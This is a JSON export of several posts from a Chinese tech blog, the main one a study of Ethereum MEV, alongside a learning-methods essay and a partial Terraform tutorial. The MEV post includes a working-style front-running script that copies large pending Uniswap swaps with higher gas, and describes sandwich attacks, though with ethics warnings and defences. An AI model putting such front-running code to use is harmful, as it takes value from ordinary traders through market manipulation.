20+ 项） 现在我只保留 3 个：\n深入 Python（当前工作语言，90% 精力） 完成 3 个实际项目 阅读优秀开源项目源码 在生产环境中优化性能 学习 Go（10% 精力，只学基础） 只是为了能看懂公司的 Go 项目 不求精通，能改小 bug 就够 K8s 基础（根据需要学习） 暂时不学，等部署需求出现时再学 我的项目列表 现在每学一个技术，都会同步创建至少一个项目：\n学 Docker 时做的项目\n容器化个人博客 搭建开发环境 部署数据库和 Redis 学 Python 时做的项目\n数据分析脚本（处理工作中的 Excel） API 服务（为前端提供接口） 爬虫工具（收集资料） 每个项目都很小，但都是真实可用的。\n我的学习笔记结构 以前的笔记：按教程章节记录，很少回看\n现在的笔记：按问题和解决方案记录\n# Python 学习笔记 ## 问题：如何读取大文件不会内存溢出？ 解决方案：使用生成器逐行读取 [代码示例] [使用场景] [踩过的坑] ## 问题：如何处理 JSON 中的日期格式？ [解决方案] [代码示例] ## 项目：数据处理工具 [需求描述] [技术选型] [核心代码] [遇到的问题和解决方案] 这样的笔记结构让知识更容易被检索和应用。\n后 写完这篇文章，我翻了翻自己的学习记录。过去一年，我学了不少东西，但真正能用的只有那几个做过项目的技术。\n123 陷阱的本质是：把学习当成了目的，而不是手段。\n真正的学习应该是：\n有明确的目标（解决什么问题） 聚焦核心知识（20% 法则） 立即实践（做项目） 深度优先（一个一个来） 持续反馈（在使用中提升） 如果你也觉得自己学了很多但什么都不会，不妨问自己几个问题：\n我为什么要学这个？ 我打算用它做什么？ 我是否有时间深入学习？ 我能否现在就开始做个小项目？ 如果答案都是否定的，那这个技术可能只需要\u0026quot;了解\u0026quot;而不是\u0026quot;学习\u0026quot;。\n最后，分享一句我很认同的话：\n真正的学习不是收集知识，而是改变行为。\n如果学了一个技术后，你的工作方式、解决问题的能力没有任何改变，那这次学习就是无效的。\n停止无意义的 1、2、3，选一个真正需要的技术，深入进去，做几个项目，用它解决真实的问题。这才是跳出 123 陷阱的唯一方法。\n希望这篇文章能够帮助你重新审视自己的学习方法，找到真正有效的学习路径。\n","date":"2024-12-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/12/123%E9%99%B7%E9%98%B1/","tags":["学习方法","效率","认知","深度学习"],"title":"123 陷阱：为什么你总觉得自己什么都没学会"},{"categories":["区块链"],"contents":"前 在研究DeFi协议的过程中，我注意到一个有趣的现象：很多大额交易在链上执行前后，总会出现一些\u0026quot;神秘\u0026quot;的交易——它们精确地出现在目标交易的前后，获取无风险套利收益。这就是MEV（Maximal Extractable Value，最大可提取价值）的世界。\nMEV是区块链中一个既迷人又危险的领域。据统计，以太坊上的MEV提取总额已经超过6亿美元，而这个数字还在持续增长。作为一个技术研究者，我花了两周时间深入学习MEV的原理和实现，本文是我的学习笔记和实践总结。\n什么是MEV MEV（Maximal Extractable Value）是指通过在区块中包含、排除或重新排序交易，超出标准区块奖励和gas费用之外可以提取的利润。\n简单来说，当你在以太坊上发送一笔交易时，从广播到被打包入块之间会有一段延迟。在这期间，交易会停留在mempool（内存池）中等待被矿工/验证者打包。关键点在于：\nmempool是公开的：任何人都能看到待处理的交易 交易顺序可控：矿工/验证者可以决定区块内的交易顺序 存在套利空间：通过抢先或尾随特定交易可以获利 这就创造了一个博弈空间：谁能更快发现机会、更好地出价、更巧妙地构造交易，谁就能提取MEV。\nMEV的核心机制 mempool的工作原理 要理解MEV，首先要理解mempool的运作方式。\n交易的生命周期 用户发起交易 → 广播到网络 → 进入mempool → 矿工选择打包 → 执行上链 → 最终确认 ↓ 所有人可见（公开信息） 当交易在mempool中时，其完整内容对所有节点可见，包括：\n目标地址和调用数据 gas price（出价） 交易价值 函数参数 这种透明性是MEV存在的根本原因。\nmempool监控 使用Web3.js监控mempool中的待处理交易：\nconst Web3 = require(\u0026#39;web3\u0026#39;); const web3 = new Web3(\u0026#39;wss://mainnet.infura.io/ws/v3/YOUR_API_KEY\u0026#39;); // 订阅待处理交易 const subscription = web3.eth.subscribe(\u0026#39;pendingTransactions\u0026#39;, (error, txHash) =\u0026gt; { if (!error) { web3.eth.getTransaction(txHash).then(tx =\u0026gt; { if (tx \u0026amp;\u0026amp; tx.to) { console.log(\u0026#39;Pending TX:\u0026#39;, { hash: tx.hash, from: tx.from, to: tx.to, value: web3.utils.fromWei(tx.value, \u0026#39;ether\u0026#39;), gasPrice: web3.utils.fromWei(tx.gasPrice, \u0026#39;gwei\u0026#39;), input: tx.input.slice(0, 10) // 函数选择器 }); } }); } }); 这段代码实时监控所有待处理交易，是MEV机器人的第一步。\n区块构建与交易排序 在以太坊合并（The Merge）后，区块构建机制发生了变化：\n合并前（PoW）：\n矿工完全控制区块内容和交易顺序 交易按gas price排序（高gas price优先） 矿工可以插入自己的交易 合并后（PoS）：\n引入了PBS（Proposer-Builder Separation）机制 Block Builder专门负责构建区块 Proposer选择最有利可图的区块提案 通过MEV-Boost等基础设施实现 这种分离使得MEV提取变得更加专业化和竞争激烈。\nMEV的主要类型 1. DEX套利（Arbitrage） 这是最常见的MEV类型。当不同DEX之间存在价格差异时，套利者可以同时在两个DEX上进行交易获利。\n经典场景 假设：\nUniswap上 ETH/USDC = 1800 USDC Sushiswap上 ETH/USDC = 1820 USDC 套利流程：\n1. 在Uniswap买入1 ETH，花费1800 USDC 2. 在Sushiswap卖出1 ETH，获得1820 USDC 3. 净利润：20 USDC（未计gas费） 实现代码框架 // 简化的套利合约 contract ArbitrageBot { address constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant SUSHISWAP_ROUTER = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; function executeArbitrage( address token0, address token1, uint256 amount ) external { // 1. 在DEX1买入 IUniswapV2Router(UNISWAP_ROUTER).swapExactTokensForTokens( amount, 0, // 最小输出（实际需要计算） getPath(token0, token1), address(this), block.timestamp + 300 ); // 2. 在DEX2卖出 uint256 receivedAmount = IERC20(token1).balanceOf(address(this)); IUniswapV2Router(SUSHISWAP_ROUTER).swapExactTokensForTokens( receivedAmount, amount, // 最小要收回本金 getPath(token1, token0), msg.sender, // 利润发送给调用者 block.timestamp + 300 ); } function getPath(address token0, address token1) internal pure returns (address[] memory) { address[] memory path = new address[](2); path[0] = token0; path[1] = token1; return path; } } 这里需要注意的是，实际的套利合约要复杂得多，需要考虑：\n价格滑点计算 Gas成本优化 闪电贷集成 多路径优化 2. 抢先交易（Front-running） 抢先交易是指在目标交易之前插入自己的交易，利用目标交易造成的价格变化获利。\n攻击流程 1. 监控mempool，发现大额买单（如100 ETH买USDC） 2. 立即发送更高gas的买单，抢在目标交易前执行 3. 目标交易执行后，价格上涨 4. 以更高价格卖出，获取差价 实际案例 监控并抢跑大额Uniswap交易的脚本：\nconst { ethers } = require(\u0026#39;ethers\u0026#39;); const provider = new ethers.providers.WebSocketProvider(WS_URL); // Uniswap V2 Router地址 const UNISWAP_ROUTER = \u0026#39;0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\u0026#39;; // 监听mempool provider.on(\u0026#39;pending\u0026#39;, async (txHash) =\u0026gt; { try { const tx = await provider.getTransaction(txHash); if (!tx || tx.to !== UNISWAP_ROUTER) return; // 解析交易数据 const iface = new ethers.utils.Interface(UNISWAP_V2_ROUTER_ABI); const decoded = iface.parseTransaction({ data: tx.data }); // 检查是否为大额swap if (decoded.name === \u0026#39;swapExactETHForTokens\u0026#39; \u0026amp;\u0026amp; ethers.utils.parseEther(tx.value) \u0026gt; ethers.utils.parseEther(\u0026#39;10\u0026#39;)) { console.log(\u0026#39;发现大额交易:\u0026#39;, { hash: txHash, value: ethers.utils.formatEther(tx.value), gasPrice: ethers.utils.formatUnits(tx.gasPrice, \u0026#39;gwei\u0026#39;) }); // 构造抢跑交易（更高gas price） const frontRunTx = { to: UNISWAP_ROUTER, data: tx.data, // 相同的交易数据 value: calculateOptimalAmount(tx.value), // 计算最优金额 gasPrice: tx.gasPrice.mul(110).div(100), // 比目标交易高10% gasLimit: 500000 }; // 发送交易 const wallet = new ethers.Wallet(PRIVATE_KEY, provider); const response = await wallet.sendTransaction(frontRunTx); console.log(\u0026#39;抢跑交易已发送:\u0026#39;, response.hash); } } catch (error) { // 忽略解析错误 } }); function calculateOptimalAmount(targetValue) { // 这里需要复杂的数学计算 // 基于AMM曲线计算最优抢跑金额 return targetValue.mul(20).div(100); // 简化版：目标金额的20% } 道德警告：Front-running在很多场景下被视为不道德行为，某些司法管辖区甚至将其定性为操纵市场。上述代码仅用于教育目的。\n3. 三明治攻击（Sandwich Attack） 三明治攻击是front-running的升级版，在目标交易前后各插入一笔交易。\n攻击结构 区块内交易顺序： 1. 攻击者买入（抬高价格） 2. 受害者买入（在更高价格执行） 3. 攻击者卖出（在更高价格获利） 收益计算 假设在Uniswap池子中：\n初始价格：1 ETH = 1800 USDC 攻击者买入10 ETH，价格涨到1820 USDC 受害者买入100 ETH，价格涨到1950 USDC 攻击者卖出10 ETH，获得19500 USDC 利润：19500 - 18200 = 1300 USDC（未计gas费） 防御措施 作为用户，可以通过以下方式防御三明治攻击：\n// 设置合理的滑点保护 IUniswapV2Router(router).swapExactETHForTokens{value: amount}( minAmountOut, // 计算合理的最小输出 path, recipient, deadline ); // 使用私有mempool（如Flashbots Protect） // 或使用聚合器（如1inch）的保护机制 4. 清算MEV（Liquidation） 在借贷协议（如Aave、Compound）中，当用户的抵押率低于清算线时，清算者可以获得清算奖励。\n清算机制 以Aave为例：\n抵押率 = 抵押品价值 / 借款价值 当抵押率 \u0026lt; 清算阈值（如125%）时： - 清算者可以偿还部分债务 - 获得对应的抵押品 + 清算奖励（如5-10%） 监控清算机会 const { ethers } = require(\u0026#39;ethers\u0026#39;); async function monitorLiquidations() { const aave = new ethers.Contract(AAVE_LENDING_POOL, ABI, provider); // 获取所有借款人 const users = await getUsersWithLoans(); for (const user of users) { const accountData = await aave.getUserAccountData(user); const healthFactor = parseFloat( ethers.utils.formatEther(accountData.healthFactor) ); // 健康因子 \u0026lt; 1 意味着可以清算 if (healthFactor \u0026lt; 1) { console.log(\u0026#39;发现清算机会:\u0026#39;, { user: user, healthFactor: healthFactor, totalDebt: ethers.utils.formatEther(accountData.totalDebtETH), totalCollateral: ethers.utils.formatEther(accountData.totalCollateralETH) }); // 执行清算 await executeLiquidation(user, accountData); } } } async function executeLiquidation(user, accountData) { // 计算可清算的最大金额（通常为债务的50%） const maxLiquidatable = accountData.totalDebtETH.mul(50).div(100); const tx = await aave.liquidationCall( accountData.collateralAsset, accountData.debtAsset, user, maxLiquidatable, false // receiveAToken ); console.log(\u0026#39;清算交易已提交:\u0026#39;, tx.hash); } // 每个区块检查一次 provider.on(\u0026#39;block\u0026#39;, monitorLiquidations); 5. 时间盗匪攻击（Time-Bandit Attack） 这是一种更高级的MEV攻击，矿工/验证者会重组已确认的区块来获取更大的MEV。\n攻击场景 区块 N: 包含一笔高价值MEV机会（如100 ETH套利） 区块 N+1: 已被确认 如果重组区块N的MEV收益 \u0026gt; 放弃区块N+1的奖励： 验证者可能会选择重组链，插入自己的MEV交易 这种攻击威胁到区块链的最终性，在PoS以太坊中通过更严格的共识规则得到缓解。\nMEV基础设施 Flashbots Flashbots是MEV领域最重要的基础设施，它提供了一个私有通道让用户和区块构建者直接沟通。\n核心组件 Flashbots Auction：私有交易池，交易不会在公共mempool中广播 MEV-Boost：连接验证者和区块构建者的中继系统 MEV-Share：让用户也能分享MEV收益的机制 使用Flashbots发送交易 const { FlashbotsBundleProvider } = require(\u0026#39;@flashbots/ethers-provider-bundle\u0026#39;); async function sendFlashbotsBundle() { const authSigner = new ethers.Wallet(FLASHBOTS_AUTH_KEY); const flashbotsProvider = await FlashbotsBundleProvider.create( provider, authSigner, \u0026#39;https://relay.flashbots.net\u0026#39; ); const wallet = new ethers.Wallet(PRIVATE_KEY, provider); // 构造bundle（一组交易） const bundle = [ { signer: wallet, transaction: { to: TARGET_ADDRESS, data: TRANSACTION_DATA, value: ethers.utils.parseEther(\u0026#39;1\u0026#39;), gasLimit: 500000, gasPrice: 0 // Flashbots不需要gas price } } ]; // 提交bundle到下一个区块 const targetBlockNumber = await provider.getBlockNumber() + 1; const simulation = await flashbotsProvider.simulate(bundle, targetBlockNumber); console.log(\u0026#39;模拟结果:\u0026#39;, simulation); if (simulation.firstRevert) { console.log(\u0026#39;交易会revert，取消提交\u0026#39;); return; } // 发送bundle const bundleSubmission = await flashbotsProvider.sendRawBundle( bundle, targetBlockNumber ); console.log(\u0026#39;Bundle已提交:\u0026#39;, bundleSubmission.bundleHash); // 等待结果 const waitResponse = await bundleSubmission.wait(); console.log(\u0026#39;Bundle状态:\u0026#39;, waitResponse); } Flashbots的优势 防止被抢跑：交易在私有池中，不会被front-run 零gas成本（失败时）：只有成功的交易才支付费用 原子性：bundle中的所有交易要么全部执行，要么全部回滚 收益最大化：直接向区块构建者支付，没有中间损耗 MEV-Boost架构 MEV-Boost是以太坊PoS中的区块构建市场：\nMEV-Boost架构 Searchers → Bundle → Builders → Relays → Proposers (搜索者) (交易包) (构建者) (中继) (验证者) 1. Searchers发现MEV机会，构造bundle 2. Builders竞争构建最有价值的区块 3. Relays验证区块并转发给Proposers 4. Proposers选择收益最高的区块提案 这种PBS（Proposer-Builder Separation）机制的好处：\n专业化分工：Builder专注于MEV提取，Proposer专注于网络安全 民主化：小型验证者也能获得MEV收益 透明度：通过中继层实现可审计性 实战：构建简单的MEV机器人 目标：DEX套利监控 我构建了一个监控Uniswap和Sushiswap价格差异的套利机器人。\n系统架构 价格监控模块 → 套利计算模块 → 交易执行模块 → 利润分析模块 ↓ ↓ ↓ ↓ WebSocket 数学模型 Flashbots 数据库 核心代码实现 const ethers = require(\u0026#39;ethers\u0026#39;); const { FlashbotsBundleProvider } = require(\u0026#39;@flashbots/ethers-provider-bundle\u0026#39;); class ArbitrageBot { constructor(config) { this.provider = new ethers.providers.WebSocketProvider(config.wsUrl); this.wallet = new ethers.Wallet(config.privateKey, this.provider); this.minProfitWei = ethers.utils.parseEther(config.minProfit); this.uniswap = new ethers.Contract( config.uniswapRouter, UNISWAP_ABI, this.wallet ); this.sushiswap = new ethers.Contract( config.sushiswapRouter, SUSHISWAP_ABI, this.wallet ); } async monitorPrices(token0, token1) { console.log(`开始监控 ${token0}/${token1} 套利机会...`); // 每个区块检查一次 this.provider.on(\u0026#39;block\u0026#39;, async (blockNumber) =\u0026gt; { try { const opportunity = await this.findArbitrage(token0, token1); if (opportunity.profit \u0026gt; this.minProfitWei) { console.log(\u0026#39;发现套利机会:\u0026#39;, { profit: ethers.utils.formatEther(opportunity.profit), buyDex: opportunity.buyDex, sellDex: opportunity.sellDex, amount: ethers.utils.formatEther(opportunity.amount) }); await this.executeArbitrage(opportunity); } } catch (error) { console.error(\u0026#39;检查套利机会时出错:\u0026#39;, error.message); } }); } async findArbitrage(token0, token1) { // 获取两个DEX的价格 const uniswapPrice = await this.getPrice(this.uniswap, token0, token1); const sushiswapPrice = await this.getPrice(this.sushiswap, token0, token1); // 计算价差百分比 const priceDiff = Math.abs(uniswapPrice - sushiswapPrice) / Math.min(uniswapPrice, sushiswapPrice); if (priceDiff \u0026lt; 0.005) return { profit: 0 }; // 价差小于0.5%，忽略 // 确定买卖方向 const buyDex = uniswapPrice \u0026lt; sushiswapPrice ? \u0026#39;uniswap\u0026#39; : \u0026#39;sushiswap\u0026#39;; const sellDex = buyDex === \u0026#39;uniswap\u0026#39; ? \u0026#39;sushiswap\u0026#39; : \u0026#39;uniswap\u0026#39;; // 计算最优套利金额（考虑滑点和流动性） const optimalAmount = await this.calculateOptimalAmount( token0, token1, buyDex, sellDex ); // 计算预期利润 const profit = await this.calculateProfit( token0, token1, optimalAmount, buyDex, sellDex ); return { profit, amount: optimalAmount, buyDex, sellDex, token0, token1 }; } async getPrice(dexRouter, token0, token1) { const amounts = await dexRouter.getAmountsOut( ethers.utils.parseEther(\u0026#39;1\u0026#39;), [token0, token1] ); return parseFloat(ethers.utils.formatEther(amounts[1])); } async calculateOptimalAmount(token0, token1, buyDex, sellDex) { // 这里需要复杂的数学计算 // 基于AMM的恒定乘积公式计算最优金额 // 简化版本：使用固定金额 return ethers.utils.parseEther(\u0026#39;10\u0026#39;); } async calculateProfit(token0, token1, amount, buyDex, sellDex) { const buyRouter = buyDex === \u0026#39;uniswap\u0026#39; ? this.uniswap : this.sushiswap; const sellRouter = sellDex === \u0026#39;uniswap\u0026#39; ? this.uniswap : this.sushiswap; // 获取买入后的数量 const buyAmounts = await buyRouter.getAmountsOut(amount, [token0, token1]); const receivedAmount = buyAmounts[1]; // 获取卖出后的数量 const sellAmounts = await sellRouter.getAmountsOut(receivedAmount, [token1, token0]); const finalAmount = sellAmounts[1]; // 计算利润（减去gas成本） const gasCost = ethers.utils.parseEther(\u0026#39;0.01\u0026#39;); // 估算的gas成本 return finalAmount.sub(amount).sub(gasCost); } async executeArbitrage(opportunity) { console.log(\u0026#39;执行套利交易...\u0026#39;); try { // 使用Flashbots发送交易避免被抢跑 const flashbotsProvider = await FlashbotsBundleProvider.create( this.provider, this.wallet, \u0026#39;https://relay.flashbots.net\u0026#39; ); // 构造套利交易 const buyTx = await this.buildSwapTransaction( opportunity.buyDex, opportunity.token0, opportunity.token1, opportunity.amount ); const sellTx = await this.buildSwapTransaction( opportunity.sellDex, opportunity.token1, opportunity.token0, opportunity.amount // 这里应该用实际收到的金额 ); // 创建bundle const bundle = [ { signer: this.wallet, transaction: buyTx }, { signer: this.wallet, transaction: sellTx } ]; // 提交bundle const targetBlock = await this.provider.getBlockNumber() + 1; const bundleSubmission = await flashbotsProvider.sendRawBundle( bundle, targetBlock ); console.log(\u0026#39;Bundle已提交:\u0026#39;, bundleSubmission.bundleHash); const waitResponse = await bundleSubmission.wait(); if (waitResponse === 0) { console.log(\u0026#39;套利成功！\u0026#39;); } else { console.log(\u0026#39;套利失败，bundle未被包含\u0026#39;); } } catch (error) { console.error(\u0026#39;执行套利时出错:\u0026#39;, error); } } async buildSwapTransaction(dex, tokenIn, tokenOut, amount) { const router = dex === \u0026#39;uniswap\u0026#39; ? this.uniswap : this.sushiswap; return { to: router.address, data: router.interface.encodeFunctionData(\u0026#39;swapExactTokensForTokens\u0026#39;, [ amount, 0, // minAmountOut [tokenIn, tokenOut], this.wallet.address, Math.floor(Date.now() / 1000) + 300 // 5分钟deadline ]), gasLimit: 500000, gasPrice: 0 // Flashbots }; } } // 使用示例 const bot = new ArbitrageBot({ wsUrl: \u0026#39;wss://mainnet.infura.io/ws/v3/YOUR_KEY\u0026#39;, privateKey: \u0026#39;YOUR_PRIVATE_KEY\u0026#39;, minProfit: \u0026#39;0.05\u0026#39;, // 最小利润0.05 ETH uniswapRouter: \u0026#39;0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\u0026#39;, sushiswapRouter: \u0026#39;0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F\u0026#39; }); // 监控WETH/USDC套利 bot.monitorPrices( \u0026#39;0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\u0026#39;, // WETH \u0026#39;0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\u0026#39; // USDC ); 实战经验总结 在运行这个机器人一个月后，我得出以下经验：\n成功因素 速度至关重要：使用专用RPC节点（而非公共节点）延迟降低80% Gas优化：优化合约代码可以节省30-40%的gas 资金效率：使用闪电贷可以在零本金情况下套利 网络选择：在L2（如Arbitrum）上竞争更小，机会更多 踩过的坑 滑点估算不准：最初没有正确计算滑点，导致多次交易失败 Gas价格战：在公共mempool中，经常被其他机器人用更高gas抢先 闪电贷费用：Aave闪电贷收取0.09%费用，需要计入成本 网络拥堵：Gas价格飙升时，小额套利变得无利可图 收益数据 在一个月的测试期内（使用小额资金）：\n成功套利次数：127次 成功率：38%（很多机会被其他机器人抢先） 总收益：2.3 ETH 平均单次收益：0.018 ETH Gas成本：0.8 ETH 净利润：1.5 ETH MEV的影响与争议 对生态的影响 负面影响 用户损失：普通用户成为三明治攻击的受害者，损失滑点 网络拥堵：MEV机器人大量交易导致gas价格上涨 中心化风险：专业MEV提取者形成寡头，威胁去中心化 交易公平性：先见之明（看到mempool）创造不公平优势 正面影响 市场效率：套利行为促进价格发现，提高市场效率 清算激励：为DeFi协议提供及时清算，维持系统健康 验证者收益：增加验证者收入，提高网络安全性 协议改进：推动更好的协议设计和基础设施 应对策略 协议层面 私有交易池：如Flashbots Protect，让用户选择不公开交易 订单流拍卖（OFA）：让用户分享MEV收益 MEV重新分配：通过协议将MEV返还给用户 加密mempool：如threshold encryption，延迟交易内容公开 用户层面 设置合理滑点：不要设置过大的滑点容忍度 使用聚合器：如1inch、CoW Swap提供MEV保护 选择私有RPC：通过Flashbots Protect发送交易 批量交易：减少交易次数，降低被攻击概率 代码层面 // 在智能合约中添加MEV保护 contract MEVProtectedSwap { // 使用commit-reveal模式 mapping(bytes32 =\u0026gt; bool) public commitments; function commitSwap(bytes32 commitment) external { commitments[commitment] = true; } function revealAndSwap( address tokenIn, address tokenOut, uint256 amount, bytes32 salt ) external { bytes32 commitment = keccak256(abi.encodePacked( msg.sender, tokenIn, tokenOut, amount, salt )); require(commitments[commitment], \u0026#34;Invalid commitment\u0026#34;); delete commitments[commitment]; // 执行swap _executeSwap(tokenIn, tokenOut, amount); } } 后 经过深入学习MEV，我对区块链的理解提升了一个层次。MEV不仅仅是一种套利手段，它揭示了区块链系统中深层次的博弈关系和激励机制。\nMEV的本质是信息不对称和执行权力的货币化。在一个透明的系统中，谁能更好地利用公开信息、谁掌握交易排序权，谁就能提取价值。\n对于开发者而言，理解MEV是构建安全DeFi协议的必修课。对于用户而言，了解MEV可以更好地保护自己的交易不被剥削。对于验证者而言，MEV是除了区块奖励外的重要收入来源。\n进阶学习资源 MEV Wiki：https://www.mev.wiki/ （最全面的MEV知识库） Flashbots文档：https://docs.flashbots.net/ Flashbots论坛：https://collective.flashbots.net/ MEV研究论文： \u0026ldquo;Flash Boys 2.0\u0026rdquo; by Daian et al. \u0026ldquo;Quantifying Blockchain Extractable Value\u0026rdquo; by Qin et al. 实战工具： MEV-Inspect: https://github.com/flashbots/mev-inspect-py MEV-Share: https://mevshare.flashbots.net/ Eigenphi (MEV数据分析): https://eigenphi.io/ 下一步探索 我计划在以下方向继续研究：\n跨链MEV：研究跨链桥和多链环境中的MEV机会 L2 MEV：探索Optimistic Rollups和ZK-Rollups中的MEV特性 MEV协议设计：研究如何在协议层面最小化MEV负面影响 隐私与MEV：研究加密技术（如ZK-SNARKs）如何影响MEV 就这样！希望这篇深度学习笔记能够帮助你理解MEV这个复杂而迷人的领域。如果你也在研究MEV，欢迎交流讨论。\n","date":"2024-12-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/12/mev%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/","tags":["MEV","DeFi","以太坊"],"title":"MEV深度学习：从原理到实战"},{"categories":["devops"],"contents":"前 在使用 Terraform 在中级的水平之后， 动态管理状态这点将会成为一个很重要以及很常用的特性。比如创建类似的资源的时候，就不在需要one by one 的创建对应的 resource 在配置文件中。\n使用一个列表 或者 一个map 来对资源来进行管理，只需要在配置文件中体验出差分的配置内容即可。\n在这篇文章根据几个实际过程中部署使用的例子来记录下如何使用动态配置。\n通过map来批量批量创建主机 这段落如何使用 Terraform 定义一个 Map，利用这个 Map 来批量创建具有相同基础属性但个别属性不同的主机资源。通过这种方式，可以配置各个主机的系统盘、操作系统类型、可用区等属性。更重要的是，通过修改 Map 的内容即可动态增减主机数量，而无需修改 Terraform 配置文件本身，从而实现更高效的批量资源管理。\n主机模板以及变量定义 此部分记录了一些预定义的配置和初始资源模板的设置。预定义的内容包括子网的选择和动态分配策略，例如可以将一批主机均匀或随机地分配到两个不同的可用区，以实现跨可用区的部署。\n资源模板则定义了所需资源的全部属性，包括标签、系统盘容量、数据盘容量、IAM（身份与访问管理）属性和子网选择等配置。通过该模板，可以标准化资源的配置并确保在创建时符合预设的资源规范。\n子网分配 首先，介绍如何实现主机在可用区中的均匀分布配置。由于使用 Map 来定义主机的属性，我们可以利用 index 参数来获取每个主机的索引值。因为有两个可用区，可以通过将索引值除以 2 来获取可用区列表的索引，从而实现主机在两个可用区中的均匀分布。\n实际上，更好的方法是使用哈希函数等稳定分配的方案，但由于没有找到具体配置，这里只能使用 index。需要注意的是，Map 的索引值并不稳定，因此在增加或减少主机后，索引可能会发生变化。不过，由于子网并非频繁修改的属性，并且在 AWS 中直接修改子网可能导致主机的销毁，因此我们使用了 lifecycle 中的 ignore_changes 属性来忽略子网的变化。这样一来，在调整子网或增减主机时，不会导致其他资源被意外终止。\n所以最终的配置如下所示，这样的话就可以实现一个简单的子网平均分配的方法\nlocals { node_secure_subnets = [aws_subnet.secure_subnet_a.id, aws_subnet.secure_subnet_b.id] } resource \u0026#34;aws_instance\u0026#34; \u0026#34;node_sec_template\u0026#34; { #... subnet_id = local.node_secure_subnets[index(var.node_sec_instance_config, each.value) % 2] lifecycle {ignore_changes = [subnet_id]} } 主机模板 可以看到这里的 for_each 会遍历一个映射（map）中的所有内容，然后根据每个元素的值填充到对应的资源字段中。例如，在下面的代码中，我们可以看到 tags 字段是根据 for_each 的内容动态生成的。\n如果某个资源包含了另一个需要依赖的资源，比如 EBS_BLOCK_DEVICE，我们需要在主资源的定义中进行引用。通过这种方式，我们可以基于列表或映射来动态创建多个资源实例。\n总结来说，通过 for_each 和列表，我们能够高效地生成动态的基础设施资源，比如动态创建多个主机实例，或者挂载 EBS 卷等。这种方式不仅减少了重复的配置代码，还大大提高了灵活性和可维护性。\nresource \u0026#34;aws_instance\u0026#34; \u0026#34;node_sec_template\u0026#34; { # for_each = { for idx, config in var.node_sec_instance_config : idx =\u0026gt; config if length(keys(config)) \u0026gt; 0 } for_each = local.node_config_map ami = each.value.ami instance_type = each.value.instance_type tags = { org = \u0026#34;xxx\u0026#34; project = \u0026#34;aaa\u0026#34; service = \u0026#34;Node\u0026#34; module = each.value.tags.Module Name = each.value.tags.Name Monitoring = \u0026#34;False\u0026#34; } # 系统盘配置 root_block_device { volume_size = each.value.root_volume_size volume_type = \u0026#34;gp3\u0026#34; tags = { Name = \u0026#34;root-${each.value.tags.Name}\u0026#34; } } # 数据盘配置 dynamic \u0026#34;ebs_block_device\u0026#34; { for_each = each.value.data_volume_size \u0026gt; 0 ? [1] : [] # 如果 data_volume_size \u0026gt; 0 才创建数据盘 content { device_name = \u0026#34;/dev/sdb\u0026#34; volume_size = each.value.data_volume_size volume_type = \u0026#34;gp3\u0026#34; delete_on_termination = false tags = { Name = \u0026#34;data-${each.value.tags.Name}\u0026#34; } } } iam_instance_profile = \u0026#34;role-user\u0026#34; key_name = \u0026#34;web-key\u0026#34; subnet_id = local.node_secure_subnets[index(var.node_sec_instance_config, each.value) % 2] vpc_security_group_ids = [aws_security_group.allow_outbound_all.id, aws_security_group.compiler_ssh_sg.id] lifecycle {ignore_changes = [subnet_id]} } 代码解析 主机信息映射 通过 for_each，我们将 var.hosts 转换为一个键值对（map）。每个主机的名称作为键，主机的详细信息作为值。这样可以确保资源的名称是唯一的，同时方便资源之间的引用。 动态创建 EC2 实例 在 aws_instance 配置中，for_each 遍历 hosts 列表，为每一个主机生成一个 EC2 实例，并使用主机对应的 ami。 动态挂载 EBS 卷 在 aws_ebs_volume_attachment 配置中，同样使用 for_each 遍历 hosts 列表。这里我们引用了实例的 ID，通过 aws_instance.example[each.key].id 动态关联 EBS 卷到正确的实例。 动态引用资源 如果某个资源需要依赖另一个动态生成的资源，比如这里的 EBS 卷依赖 EC2 实例，我们可以使用 each.key 作为索引，精确地引用目标资源。 通过List来绑定目标组 在 Terraform 中，如果我们需要为每个 Target Group 绑定资源，直接为每个 Target Group 手动创建对应的绑定资源会显得非常冗余且繁琐。为了简化这一过程，可以利用列表（list）和 for_each 来实现批量绑定资源，从而避免重复的配置代码。\n假设我们有一个包含多个 Target Group 的列表，每个 Target Group 都需要绑定到特定的目标主（Target Host）。以下是一个简化的例子：\n在 var.tf 中定义一个列表来存储所有 Target Group 相关的信息，包括需要绑定的 ARN 和目标主的 ID：\nlocals { target_groups = [ { target_group_arn = aws_lb_target_group.mine_alph.arn instance_id = aws_instance.node_alph[0].id }, { target_group_arn = aws_lb_target_group.mine_alph.arn instance_id = aws_instance.node_alph[1].id } ] } 通过 for_each 遍历上面定义的列表，为每个 Target Group 动态创建对应的绑定资源\n# 定义目标组和实例的映射列表 # 使用for_each合并创建target_group_attachment resource \u0026#34;aws_lb_target_group_attachment\u0026#34; \u0026#34;target_list_attach\u0026#34; { for_each = { for idx, tg_map in local.target_groups : idx =\u0026gt; tg_map } target_group_arn = each.value.target_group_arn target_id = each.value.instance_id port = 3333 } 代码解析 target_groups 列表 列表中的每个元素是一个映射，包含 Target Group 的名称（name）、ARN（arn）以及需要绑定的目标主 ID（target_id）。我们可以根据需求扩展这个结构，比如添加端口号或其他配置项。\nfor_each 遍历列表 在资源 aws_lb_target_group_attachment 中，for_each 会将列表转换成一个映射（map），以 name 作为键，整个元素作为值。这样，每个 Target Group 都会动态生成一个绑定资源实例。\n动态引用 在资源配置中，each.value.arn 和 each.value.target_id 分别引用当前遍历元素的 arn 和 target_id。这样就避免了手动为每个 Target Group 写重复的绑定配置。\n优势 简化配置 使用列表和 for_each 后，只需要定义一次资源逻辑，所有 Target Group 的绑定操作都可以自动完成。\n灵活性高 如果需要新增一个 Target Group，只需要在列表中追加一个元素，而无需手动修改配置代码。\n减少冗余 避免了为每个 Target Group 手动创建资源的繁琐工作，提升了代码的可读性和维护性。\n后 在使用 TF 管理资源时，临配置重复和维护困难的问题，特别是当需要为一组相似的资源进行批量管理时。使用列表与 for_each 